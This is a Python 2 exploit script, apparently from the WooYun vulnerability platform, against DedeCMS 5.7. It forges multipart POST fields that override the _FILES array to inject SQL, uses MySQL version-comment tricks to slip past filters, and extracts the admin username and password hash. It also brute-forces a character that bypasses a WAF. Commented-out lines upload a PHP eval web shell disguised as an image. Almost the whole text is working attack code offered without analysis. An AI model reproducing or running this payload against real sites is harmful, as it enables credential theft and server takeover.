WooYun.org

import urllib2
import re
import urllib
#url = "http://bailing.iyiyun.com/plus/download.php"
#url = "http://192.168.4.70/dedecms5.7/dedecms5.7-20110624/uploads/plus/recommend.php"
url = 'http://192.168.4.70/a.php?aid=1%s%20union%20select%201%20from%20table'
payload = '%20union%20select%201%20from%20table'
header = {
    'User-Agent' : 'letmetest',
	'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'
}
def getdata(m):
    return "1"*m
def postdata(n):
    u = "\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\\'` "
    data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
#    data += 'Content-Disposition: form-data; name="file"\r\n\r\n'
 #   data += '%s\r\n' %  "121212112121"
#    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
	
#    data += 'Content-Disposition: form-data; name="file"; filename="a.jpg.php"\r\n'
    
#    data += 'Content-Type: text/plain\r\n\r\n'
    
#    data += '<?php eval($_POST[val]); ?>\r\n'
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="sb"\r\n\r\n'
    data += '%s\r\n' % '0'*n
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="action"\r\n\r\n'
    data += '\r\n'
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="aid"\r\n\r\n'
	
    data += '1\r\n'
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="_FILES[type][tmp_name]"\r\n\r\n'
    data += '%s\r\n' % u
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="_FILES[type][name]"\r\n\r\n'
    data += '1.jpg\r\n'
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="_FILES[type][type]"\r\n\r\n'
    data += 'application/octet-stream\r\n'	
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="_FILES[type][size]"\r\n\r\n'
    data += '6878\r\n'		
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n'
    return data
proxy = "http://127.0.0.1:8080"
opener = urllib2.build_opener(urllib2.ProxyHandler({'http':proxy}))
urllib2.install_opener(opener)
#request = urllib2.Request(url,postdata(1000000),header)
for i in range(0,256):
    request = urllib2.Request('http://192.168.4.70/a.php?aid=1%s' % chr(i) + payload)
    try:
        response = urllib2.urlopen(request).read()
    except:
	    continue
    if(re.search('letmetest',response)):
        print 'chr(%d)' % i
        print 'bypass ok'